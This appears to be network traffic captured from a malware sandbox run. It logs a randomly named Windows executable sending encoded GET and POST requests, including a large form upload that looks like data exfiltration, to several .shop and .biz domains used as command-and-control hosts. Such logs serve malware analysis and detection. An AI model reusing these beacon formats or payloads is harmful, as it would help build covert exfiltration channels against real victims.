Aug 27, 2024 08:01:11.058568954 CEST	2578	OUT	Data Raw: 70 6a 6a 4b 34 35 58 51 46 47 2b 6a 75 42 6c 74 44 73 74 63 5a 63 77 4d 73 79 75 41 69 58 48 41 5a 66 61 62 36 4d 55 55 53 44 46 6f 69 4a 31 46 44 72 5a 51 6f 70 55 31 50 66 54 57 57 4c 56 35 79 73 33 32 76 70 6e 36 30 74 72 47 73 33 4b 52 71 36 Data Ascii: pjjK45XQFG+juBltDstcZcwMsyuAiXHAZfab6MUUSDFoiJ1FDrZQopU1PfTWWLV5ys32vpn60trGs3KRq6NokO+zPnP2/UpbDdfSOSaQmhGjdguG+Vz6CvW1altsjGfcqQIT2WxqChMJCIJKvdcGQYTLP9Db7pLFbRkMkqS5oO01TeV02IsTDQIywCnDAZUjmlzBPa+/Dq123Uyk0/0CpQtgw7PmfjdajxJCejU8ftdiRl2QCay
Aug 27, 2024 08:01:11.058742046 CEST	2578	OUT	Data Raw: 76 76 77 73 56 45 57 6f 70 4c 32 4e 6d 36 7a 33 61 49 74 77 49 77 79 4d 79 71 65 6f 45 70 61 69 51 41 68 69 42 47 73 71 43 2f 38 54 67 42 4c 7a 2f 56 56 65 55 6f 67 4c 70 4a 34 6e 4d 35 43 64 67 64 33 72 75 6d 66 38 72 79 38 55 4d 53 79 78 44 75 Data Ascii: vvwsVEWopL2Nm6z3aItwIwyMyqeoEpaiQAhiBGsqC/8TgBLz/VVeUogLpJ4nM5Cdgd3rumf8ry8UMSyxDum365ZZ4HsTZ995hK/cuCjjxK+k0tsf6m0IUiNJzOozUVZydQCdM06m7Q51Z5RGr257Gjbpy9pv4veWOKPqA1kO0xRA852+jJ40JI+7Sa040GoACgXGy/DVablag3SU6eWg+zECaiyRIuoKM/xrspbldXjIBTEJ3RG
Aug 27, 2024 08:01:11.059779882 CEST	2578	OUT	Data Raw: 6b 4a 6c 6c 43 37 44 70 67 38 43 72 75 65 6f 42 64 44 66 36 72 79 48 48 72 30 6f 47 4b 72 48 35 49 47 31 48 43 42 77 75 44 41 74 6f 37 59 58 70 53 4b 37 32 68 76 49 67 64 6a 61 47 58 63 48 51 67 50 4c 73 4c 5a 39 4b 75 39 39 2b 36 35 57 4b 62 32 Data Ascii: kJllC7Dpg8CrueoBdDf6ryHHr0oGKrH5IG1HCBwuDAto7YXpSK72hvIgdjaGXcHQgPLsLZ9Ku99+65WKb2pI8IA4lBrZ/ZBUZ4I142ZsWGSdn8S+HNiYO4MIMrRKXhkmUz3JjTJI7dOea2JJ2WxibhdtngJzs3BK53o+yxbM+1/3FQYCAAg5yjOFuRaSZ03poC/D6CDIkE2pX6koJ8pKWHAcwOnlFXE0QsKA54wPty9XPbh7GYH
Aug 27, 2024 08:01:11.059952974 CEST	9728	OUT	Data Raw: 47 6a 51 74 61 30 2f 62 36 6c 62 49 73 70 2b 5a 72 46 6a 74 72 53 6a 51 6d 47 79 62 77 46 6d 56 76 6d 74 50 79 63 2f 70 54 4e 4d 4d 36 56 6b 4d 6d 4a 46 78 69 76 4e 2b 34 33 4f 55 2f 2b 61 53 37 53 42 65 71 65 4a 6e 45 73 73 77 5a 70 73 45 64 51 Data Ascii: GjQta0/b6lbIsp+ZrFjtrSjQmGybwFmVvmtPyc/pTNMM6VkMmJFxivN+43OU/+aS7SBeqeJnEsswZpsEdQ5BaGyEwcB9kTJk4QBgX4oSdIbmLOz5+B9Ugqp+aHB1a0mPRBqPC3995sCA+Y0stzhP0cAkulIz3S8fhcMIyVS/E4jSOYc0BY378gPujy+HCmQVMz9pzuWXfgcCTbUD3heNlH3zzMMBWZNs/EzLGbrmGmPRvRGO9xP
Aug 27, 2024 08:01:11.419682980 CEST	749	IN	HTTP/1.1 404 Not Found Server: ddos-guard Connection: close Set-Cookie: __ddg1_=CA7302n0o7hNsgNbFqiI; Domain=.ayypromo.shop; HttpOnly; Path=/; Expires=Wed, 27-Aug-2025 06:01:10 GMT Date: Tue, 27 Aug 2024 06:01:11 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 340 Last-Modified: Tue, 29 May 2018 17:41:27 GMT ETag: "154-56d5bbe607fc0" Accept-Ranges: bytes X-Frame-Options: SAMEORIGIN Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 22 3e 3c 74 69 74 6c 65 3e 54 69 6c 64 61 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 65 65 65 3b 22 3e 3c 74 61 62 6c 65 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 31 30 30 25 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 22 3e 3c 74 72 3e 3c 74 64 20 73 74 79 6c 65 3d 22 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 20 6d 69 64 64 6c 65 3b 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 22 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 74 69 6c 64 61 2e 63 63 22 3e 3c 69 6d 67 20 73 72 63 3d 22 2f 2f 74 69 6c 64 61 2e 77 73 2f 69 6d 67 2f 6c 6f 67 6f 34 30 34 2e 70 6e 67 22 20 62 6f 72 64 65 72 3d 22 30 22 20 61 6c 74 3d 22 54 69 6c 64 61 22 20 2f 3e 3c 2f 61 3e 3c 2f 74 64 3e 3c 2f 74 72 3e 3c 2f 74 61 62 6c 65 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d [TRUNCATED] Data Ascii: <html><head><meta name="robots" content="noindex"><title>Tilda</title></head><body style="background-color:#eee;"><table style="width:100%; height:100%;"><tr><td style="vertical-align: middle; text-align: center;"><a href="https://tilda.cc"><img src="//tilda.ws/img/logo404.png" border="0" alt="Tilda" /></a></td></tr></table></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.11.20	49889	176.57.64.102	80	7116	C:\Program Files (x86)\bCIDzIKdioIOWaLkVALMCJZbzLSppNPLrokYvYYmIhPKpvmJHwYNldubsKptZpizeTUZYkvKKUayql\kCwueywDTS.exe

Timestamp	Bytes transferred	Direction	Data
Aug 27, 2024 08:01:13.454077005 CEST	547	OUT	GET /mktg/?ij60MtY=0TalvP/u8kBxCEcVC8ZYLDfWzg1d8ZMLdJUcZNeUjcCfUnJGBGp8dbleblgtUVXijVAfatBw5nkrSCpMHneIWtcqoMWdglrJlT3qBoY6Uu70toyjn3om774=&wXB=brv4Erb HTTP/1.1 Host: www.ayypromo.shop Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Connection: close User-Agent: Mozilla/5.0 (Windows Phone 10.0; Android 4.2.1; DEVICE INFO) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Mobile Safari/537.36 Edge/12.<OS build number>
Aug 27, 2024 08:01:13.839389086 CEST	1147	IN	HTTP/1.1 404 Not Found Server: ddos-guard Connection: close Set-Cookie: __ddg1_=F0QVtNqKeWjLisP5NyP2; Domain=.ayypromo.shop; HttpOnly; Path=/; Expires=Wed, 27-Aug-2025 06:01:13 GMT Date: Tue, 27 Aug 2024 06:01:13 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 738 Last-Modified: Sun, 11 Jun 2023 21:19:31 GMT ETag: "2e2-5fde1286ba692" Accept-Ranges: bytes X-Frame-Options: SAMEORIGIN Data Raw: 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 22 3e 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 2e 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 2f 68 65 61 64 3e 0a 20 20 20 20 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 65 65 65 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 74 61 62 6c 65 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 31 30 30 25 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 74 72 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 74 64 20 73 74 79 6c 65 3d 22 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 20 6d 69 64 64 6c 65 3b 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 73 61 6e 73 2d 73 65 72 69 66 3b 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 [TRUNCATED] Data Ascii: <html> <head> <meta name="robots" content="noindex"> <title>404 Page Not Found.</title> </head> <body style="background-color:#eee;"> <table style="width:100%; height:100%;"> <tr> <td style="vertical-align: middle; text-align: center; font-family: sans-serif;"> <a href="http://tilda.cc"> <img src="http://tilda.ws/img/logo404.png" border="0" width="120" height="88" alt="Tilda" /> </a> <br> <br> <br> <br> <b>404 Page not found</b> </td> </tr> </table> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.11.20	49890	76.223.54.146	80	7116	C:\Program Files (x86)\bCIDzIKdioIOWaLkVALMCJZbzLSppNPLrokYvYYmIhPKpvmJHwYNldubsKptZpizeTUZYkvKKUayql\kCwueywDTS.exe

Timestamp	Bytes transferred	Direction	Data
Aug 27, 2024 08:01:19.069380045 CEST	820	OUT	POST /gir9/ HTTP/1.1 Host: www.magicface.shop Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Origin: http://www.magicface.shop Cache-Control: no-cache Connection: close Content-Length: 204 Content-Type: application/x-www-form-urlencoded Referer: http://www.magicface.shop/gir9/ User-Agent: Mozilla/5.0 (Windows Phone 10.0; Android 4.2.1; DEVICE INFO) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Mobile Safari/537.36 Edge/12.<OS build number> Data Raw: 69 6a 36 30 4d 74 59 3d 53 37 33 41 79 7a 63 55 2f 68 42 51 56 79 37 73 30 54 45 47 33 4f 57 39 4e 6d 44 46 33 45 56 58 75 4f 30 4d 32 73 75 69 38 52 70 72 67 63 45 6f 7a 79 6f 51 51 6a 7a 6b 6e 2b 50 39 41 32 4c 52 75 35 70 46 34 38 44 45 37 37 67 37 65 36 35 67 55 68 58 62 4a 46 50 50 4e 4d 69 36 6f 2f 79 36 71 45 54 33 75 35 59 59 43 2f 2b 48 37 42 75 4e 30 42 72 72 32 59 64 41 46 59 44 71 49 70 35 2b 42 6c 69 56 4e 30 48 76 41 6c 56 67 48 75 53 71 32 36 4d 33 65 68 41 42 55 77 71 4e 69 36 58 43 69 62 2f 35 57 58 41 7a 42 4d 4b 71 49 36 30 4c 41 6e 78 48 6c 63 38 5a 50 31 49 75 2b 57 51 72 45 67 3d 3d Data Ascii: ij60MtY=S73AyzcU/hBQVy7s0TEG3OW9NmDF3EVXuO0M2sui8RprgcEozyoQQjzkn+P9A2LRu5pF48DE77g7e65gUhXbJFPPNMi6o/y6qET3u5YYC/+H7BuN0Brr2YdAFYDqIp5+BliVN0HvAlVgHuSq26M3ehABUwqNi6XCib/5WXAzBMKqI60LAnxHlc8ZP1Iu+WQrEg==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.11.20	49891	76.223.54.146	80	7116	C:\Program Files (x86)\bCIDzIKdioIOWaLkVALMCJZbzLSppNPLrokYvYYmIhPKpvmJHwYNldubsKptZpizeTUZYkvKKUayql\kCwueywDTS.exe

Timestamp	Bytes transferred	Direction	Data
Aug 27, 2024 08:01:21.711556911 CEST	1160	OUT	POST /gir9/ HTTP/1.1 Host: www.magicface.shop Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Origin: http://www.magicface.shop Cache-Control: no-cache Connection: close Content-Length: 544 Content-Type: application/x-www-form-urlencoded Referer: http://www.magicface.shop/gir9/ User-Agent: Mozilla/5.0 (Windows Phone 10.0; Android 4.2.1; DEVICE INFO) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Mobile Safari/537.36 Edge/12.<OS build number> Data Raw: 69 6a 36 30 4d 74 59 3d 53 37 33 41 79 7a 63 55 2f 68 42 51 55 53 72 73 6e 67 38 47 2f 4f 57 79 52 32 44 46 75 55 56 54 75 4f 6f 4d 32 74 71 79 38 69 4e 72 67 39 30 6f 79 32 38 51 58 6a 7a 6b 76 65 50 68 4f 57 4b 54 75 35 6b 79 34 38 76 45 37 37 30 37 66 49 78 67 56 52 58 59 64 56 50 4f 49 4d 69 37 2b 2f 79 77 71 45 50 72 75 39 59 59 42 4d 36 48 36 44 32 4e 77 51 72 6f 38 59 64 4b 48 59 44 6c 64 5a 35 38 42 6c 75 7a 4e 77 4c 52 42 54 39 67 48 4f 79 71 33 36 4d 30 4c 68 41 47 49 41 71 65 6b 6f 65 57 73 2f 50 31 57 6c 70 67 4b 4f 65 32 53 70 63 74 42 32 63 2f 6c 4f 38 32 4f 68 78 72 33 45 78 73 59 4c 41 48 37 38 31 6f 32 53 53 47 66 78 63 31 46 5a 49 31 61 76 6a 35 49 47 52 63 70 4f 4f 41 4a 70 54 33 73 62 50 6d 37 70 59 46 49 30 70 41 4e 47 78 6c 4e 68 6e 50 6b 35 6e 61 73 4f 4e 41 43 74 45 4d 54 33 4b 72 52 49 31 4a 79 68 39 71 76 43 44 56 76 77 6e 4a 4f 31 34 37 71 42 58 44 34 30 4d 4e 46 67 41 30 69 6b 62 38 38 33 6d 6b 54 57 2f 57 44 75 64 34 32 4d 43 61 6e 4b 5a 62 66 73 68 62 67 35 41 32 72 49 [TRUNCATED] Data Ascii: ij60MtY=S73AyzcU/hBQUSrsng8G/OWyR2DFuUVTuOoM2tqy8iNrg90oy28QXjzkvePhOWKTu5ky48vE7707fIxgVRXYdVPOIMi7+/ywqEPru9YYBM6H6D2NwQro8YdKHYDldZ58BluzNwLRBT9gHOyq36M0LhAGIAqekoeWs/P1WlpgKOe2SpctB2c/lO82Ohxr3ExsYLAH781o2SSGfxc1FZI1avj5IGRcpOOAJpT3sbPm7pYFI0pANGxlNhnPk5nasONACtEMT3KrRI1Jyh9qvCDVvwnJO147qBXD40MNFgA0ikb883mkTW/WDud42MCanKZbfshbg5A2rI5BfY6PbObRRmeq8vB7M59olVlvUQ4FkLlWz2FyG0mni72CSKq0Tr3lv7e0NXScUg9tBMLNSfPpAXUG9wFmPTAmGtIyKq1p16Wmbb9oIY4dCFm5/a637DJhfcdszmiNA2+5s5few+NP3sBu3P/LNI/4GrMZGXYiga8ZEUqQv7ByLWjp0l4zoh5qLw/vJHMC731qVqMMRDrEzrM=

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.11.20	49892	76.223.54.146	80

Timestamp	Bytes transferred	Direction	Data
Aug 27, 2024 08:01:24.354347944 CEST	2578	OUT	POST /gir9/ HTTP/1.1 Host: www.magicface.shop Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Origin: http://www.magicface.shop Cache-Control: no-cache Connection: close Content-Length: 52932 Content-Type: application/x-www-form-urlencoded Referer: http://www.magicface.shop/gir9/ User-Agent: Mozilla/5.0 (Windows Phone 10.0; Android 4.2.1; DEVICE INFO) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Mobile Safari/537.36 Edge/12.<OS build number> Data Raw: 69 6a 36 30 4d 74 59 3d 53 37 33 41 79 7a 63 55 2f 68 42 51 55 53 72 73 6e 67 38 47 2f 4f 57 79 52 32 44 46 75 55 56 54 75 4f 6f 4d 32 74 71 79 38 69 46 72 67 4c 67 6f 30 55 55 51 57 6a 7a 6b 6c 2b 50 69 4f 57 4b 53 75 34 4d 32 34 38 7a 2b 37 34 4d 37 66 62 4a 67 53 6a 50 59 4e 46 50 4e 45 73 69 35 6f 2f 79 61 71 45 54 2f 75 35 30 49 43 38 4f 48 37 44 6d 4e 30 6a 7a 72 2f 49 64 41 48 59 44 70 4d 70 35 30 42 6c 37 32 4e 77 50 52 42 56 39 67 42 74 4b 71 31 6f 6b 30 54 42 41 46 64 51 71 62 75 49 65 5a 73 2f 79 45 57 6c 6f 58 4b 50 61 32 53 71 6b 74 43 31 30 2b 6c 75 38 32 48 42 78 73 7a 45 38 6c 59 4c 30 70 37 39 52 6f 32 51 43 47 4e 68 63 31 4f 59 49 32 54 76 6a 2f 66 6d 51 65 37 2b 79 49 4a 70 58 6a 73 61 72 6d 36 5a 38 46 4c 6a 31 41 41 48 78 6c 54 52 6e 4a 35 4a 6e 46 6d 75 4d 62 43 70 70 6c 54 33 71 64 52 4f 5a 4a 7a 41 64 71 35 7a 44 53 73 51 6e 50 46 56 34 75 67 52 72 6d 34 30 63 52 46 67 41 6b 69 6d 33 38 38 6b 4f 6b 53 55 61 41 57 2b 64 31 36 73 44 4f 77 61 64 42 66 73 74 54 67 35 34 6d 72 50 [TRUNCATED] Data Ascii: ij60MtY=S73AyzcU/hBQUSrsng8G/OWyR2DFuUVTuOoM2tqy8iFrgLgo0UUQWjzkl+PiOWKSu4M248z+74M7fbJgSjPYNFPNEsi5o/yaqET/u50IC8OH7DmN0jzr/IdAHYDpMp50Bl72NwPRBV9gBtKq1ok0TBAFdQqbuIeZs/yEWloXKPa2SqktC10+lu82HBxszE8lYL0p79Ro2QCGNhc1OYI2Tvj/fmQe7+yIJpXjsarm6Z8FLj1AAHxlTRnJ5JnFmuMbCpplT3qdROZJzAdq5zDSsQnPFV4ugRrm40cRFgAkim388kOkSUaAW+d16sDOwadBfstTg54mrPhBe46PL5PSGGeT0PBpI59/lVpzUR8Vl4hWxGVyXUmk0L2GLaq2Eb3lv7iKNWucXRFtA7nNA8XpCXVN9wFNPTNYGtBjKqlP146mcKtoE6QeE1mG7a6g/DVyfcpazmzwAGS5t5venuNMzMBp/v+KJIChGrgjGXFvgY8ZHzbmzp1qWAqm4Xs1qx9uBAfTYUo+5ixdcodCIWnZkdtjxH79gFQej3NoWOQz0Ey7QGuYbKEUCOKDi75ML5Us68nACSWAlR+m9U924XHSf0u5BcRYIlllnTlXIkDu18GY84z8aTBXVZzfWuY2bKfPO3H5MOp7hQrgfL/GHJHRzsc6E7TP+MLuduCVzN7M6S5wFvHGzrZOLCECVYxZo4pS3wd495or3MEL4U90kbXzZNP+q3CCR3DIDZRg8FK2e88n8isc+8WufYRdIbFwECrgG3rIEoYnXcLAds5+fgCsxEAroCIMvqWUYVU6Ub7DtwTusa8ipzMPq+NmoDWNY+mSyTg0w9enKh+xfKhDeMf0xllRESPKj1yK/pN9oBw3wlDjo4ARRwEtQWMKDgV4wBZq7LVt7vqN0j4LoBHGkTSg/Yz/EdFryd0m0OpkjvDaflsI+WQ99/WxXx/+5sz3FltBoioFYoVDHBFGgiz0drAvsMC6FaxMqxnqpCJvkf7hnBQP [TRUNCATED]
Aug 27, 2024 08:01:24.354366064 CEST	3867	OUT	Data Raw: 4c 66 54 45 64 54 2b 33 6b 56 51 71 64 33 6a 70 72 56 74 68 4b 69 54 4d 4d 6b 71 50 61 57 6e 6c 70 79 36 4f 4c 52 67 52 6c 42 4a 68 2f 50 5a 5a 57 31 34 78 52 48 34 72 41 2f 30 6b 62 65 65 7a 37 63 54 2b 2b 6e 65 4b 46 45 53 6e 4a 63 74 49 45 59 Data Ascii: LfTEdT+3kVQqd3jprVthKiTMMkqPaWnlpy6OLRgRlBJh/PZZW14xRH4rA/0kbeez7cT++neKFESnJctIEYCWnfk2V4XWuRU+ZSosRVEQZhBcYU1HPqKYfdR7ZbSIls9zC2NJWZc+jOl65i4SBt2GjwMI+gHZQNGtJdznI4A4eRhOysKieW78OyFrgjRyYT1rFbhLwtkrV0KQwydbKGDlT2Vg3xaI+RduvfoU7BgNvvojVWpIlcG
Aug 27, 2024 08:01:24.354417086 CEST	6445	OUT	Data Raw: 45 6e 5a 4c 71 79 47 55 67 72 50 53 34 6c 78 54 79 57 55 51 56 45 37 2f 43 61 6c 4c 2f 38 37 6e 73 5a 66 47 4e 59 2b 6f 69 35 68 61 39 79 37 32 58 7a 32 42 75 31 4d 57 41 6a 4a 6d 32 31 54 47 47 45 4d 6e 55 53 4b 6f 57 6b 32 49 36 6c 52 6e 42 54 Data Ascii: EnZLqyGUgrPS4lxTyWUQVE7/CalL/87nsZfGNY+oi5ha9y72Xz2Bu1MWAjJm21TGGEMnUSKoWk2I6lRnBTl4rlJ/J3qAuIV+Vcz929GFve7pNPqFw0oJvZdhztmeawZWQRvnwXoNa36jp/GSZsRNwjISDKF2DSjIlYt0Ex75AWc0Ra1lKPUy04gCthdwl7uJWX3zJE+ZQ9A+l/mXDz8a2bzlvEykKpzKiEtTuzxay1CRZ3RmhcH
Aug 27, 2024 08:01:24.458065033 CEST	2578	OUT	Data Raw: 4e 33 6d 4f 67 47 31 7a 6d 51 64 6e 4d 34 6e 49 55 2f 4e 6c 55 7a 42 67 30 6c 2b 69 69 31 48 31 6c 4c 79 71 53 30 45 53 64 59 31 53 73 4f 50 70 76 36 34 39 46 62 69 35 6f 6e 43 72 78 55 62 33 49 41 65 52 4c 38 4c 4e 5a 6a 58 6d 48 63 52 6c 6a 68 Data Ascii: N3mOgG1zmQdnM4nIU/NlUzBg0l+ii1H1lLyqS0ESdY1SsOPpv649Fbi5onCrxUb3IAeRL8LNZjXmHcRljh/lpDrYnVdvIdP65ljHSn0vPzbFy6fNunvqQFNRzZCvy9UbIo1u1G1sREjVV+he/aT9c9AQ0aLsGsFMYUpyIoNr5vrYX72a/u+AGu/YkVSr6wAPblZXxQ2/QwQJJtlnmCEocQTjITQ4qn6mTMQUuSdvTvjU5l9sTw/
Aug 27, 2024 08:01:24.458420038 CEST	1289	OUT	Data Raw: 6f 6e 56 39 45 42 63 4a 5a 37 4b 43 75 74 6b 76 2b 56 49 4e 77 57 47 57 53 37 65 32 46 6f 44 4d 44 78 63 75 37 30 56 6d 6c 5a 4d 7a 35 70 49 74 6a 72 68 50 59 55 78 52 44 7a 48 70 67 4a 38 78 67 45 48 6e 68 70 57 6a 6d 62 4d 5a 61 71 56 78 4f 4d Data Ascii: onV9EBcJZ7KCutkv+VINwWGWS7e2FoDMDxcu70VmlZMz5pItjrhPYUxRDzHpgJ8xgEHnhpWjmbMZaqVxOMj9Uyac1VTP+bIZI/ju/xFx9192O9uDMgx2neTUy6xRVeOXyzgC8vfdFEPOzrtjVfIcldPtIU+lZLoP6jC8hUD7alUVFxQMDt2sxgb8bXYTrnE7YmgBek0jTsky6t6BdBSMNd2LDjNPzSVf5iQyb6t/m/vjAiyEYfZ
Aug 27, 2024 08:01:24.458621979 CEST	19335	OUT	Data Raw: 63 2b 4e 51 48 48 78 74 44 57 33 64 67 63 65 2b 4a 63 67 68 69 2b 4d 75 36 2b 67 4f 4f 74 74 75 43 51 45 69 66 72 77 67 61 45 53 64 6a 77 31 77 4b 73 77 78 71 68 6e 41 67 4d 59 4b 61 5a 65 5a 47 35 66 2f 72 6e 47 76 53 2f 46 54 70 55 69 4a 56 6a Data Ascii: c+NQHHxtDW3dgce+Jcghi+Mu6+gOOttuCQEifrwgaESdjw1wKswxqhnAgMYKaZeZG5f/rnGvS/FTpUiJVjMBXNnA19tmJZo1prPvecVwNZbmV8UkQgMOrtdvba/2AvJ4a9zWvxDfUhcNUc1jt86MfFolO5+OjUagQAwe5MRYIwuttnS4L8Bnjn8VyLsBzPpsAMBe3c93J/24Ke1D9BKpbIJ8wEiAX3xlsjb0/fD+L1/zN2ChAvl
Aug 27, 2024 08:01:24.458758116 CEST	2578	OUT	Data Raw: 68 34 73 69 76 79 71 73 35 61 33 62 48 77 53 34 48 6f 77 31 49 49 69 51 6d 53 6d 6e 38 75 30 44 4c 78 47 4a 55 35 54 42 4b 30 4b 76 53 59 63 6b 4e 6f 68 74 55 58 71 36 52 76 52 71 79 55 73 68 36 36 71 4c 53 63 53 71 45 32 48 6c 58 30 56 52 43 48 Data Ascii: h4sivyqs5a3bHwS4How1IIiQmSmn8u0DLxGJU5TBK0KvSYckNohtUXq6RvRqyUsh66qLScSqE2HlX0VRCHB18bp8fpR7p95BMpTwldUr5ne7lrww3ioCI2LRk6V9vnrepmVGMRPywdv+0Yv7EaScv1J3xWjYOVjYsuOwzu8bm9reP0JxYOemFQLVkKivKEbu4mqk9U3H7aQGVijVYGq8eIgy+ViH4DaU2WTKLzlHcS5uRFTmjfB

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.11.20	49893	76.223.54.146	80

Timestamp	Bytes transferred	Direction	Data
Aug 27, 2024 08:01:26.993096113 CEST	548	OUT	GET /gir9/?ij60MtY=f5fgxEQYyH9aCEvnqRNhj/uGI07axwFwhdkCg+bZ+BEtnM1/7SlBYCrjg9utQFPLrd0Y68zwkqIMf6pHdwjKMQmtDey6vcSJt3zCtqxSD+6F6gKu0jTr2I8=&wXB=brv4Erb HTTP/1.1 Host: www.magicface.shop Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Connection: close User-Agent: Mozilla/5.0 (Windows Phone 10.0; Android 4.2.1; DEVICE INFO) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Mobile Safari/537.36 Edge/12.<OS build number>
Aug 27, 2024 08:01:27.097039938 CEST	395	IN	HTTP/1.1 200 OK Server: openresty Date: Tue, 27 Aug 2024 06:01:27 GMT Content-Type: text/html Content-Length: 255 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 69 6a 36 30 4d 74 59 3d 66 35 66 67 78 45 51 59 79 48 39 61 43 45 76 6e 71 52 4e 68 6a 2f 75 47 49 30 37 61 78 77 46 77 68 64 6b 43 67 2b 62 5a 2b 42 45 74 6e 4d 31 2f 37 53 6c 42 59 43 72 6a 67 39 75 74 51 46 50 4c 72 64 30 59 36 38 7a 77 6b 71 49 4d 66 36 70 48 64 77 6a 4b 4d 51 6d 74 44 65 79 36 76 63 53 4a 74 33 7a 43 74 71 78 53 44 2b 36 46 36 67 4b 75 30 6a 54 72 32 49 38 3d 26 77 58 42 3d 62 72 76 34 45 72 62 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?ij60MtY=f5fgxEQYyH9aCEvnqRNhj/uGI07axwFwhdkCg+bZ+BEtnM1/7SlBYCrjg9utQFPLrd0Y68zwkqIMf6pHdwjKMQmtDey6vcSJt3zCtqxSD+6F6gKu0jTr2I8=&wXB=brv4Erb"}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.11.20	49895	199.59.243.226	80

Timestamp	Bytes transferred	Direction	Data
Aug 27, 2024 08:03:07.770872116 CEST	555	OUT	GET /enra/?wXB=brv4Erb&ij60MtY=EuJScojaXV9tkcwMAt8AIq1Fa6SjC3UOd2jPPlI8uN15nuMsourZ6RQE0C5sWIKd2oJ0ti0mlaCO+WC8VNvzQxVxe8Bdx85A43xT3KZq/wlYnQ9EpMMmNcQ= HTTP/1.1 Host: www.foundation-repair.biz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Connection: close User-Agent: Mozilla/5.0 (Windows Phone 10.0; Android 4.2.1; DEVICE INFO) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Mobile Safari/537.36 Edge/12.<OS build number>
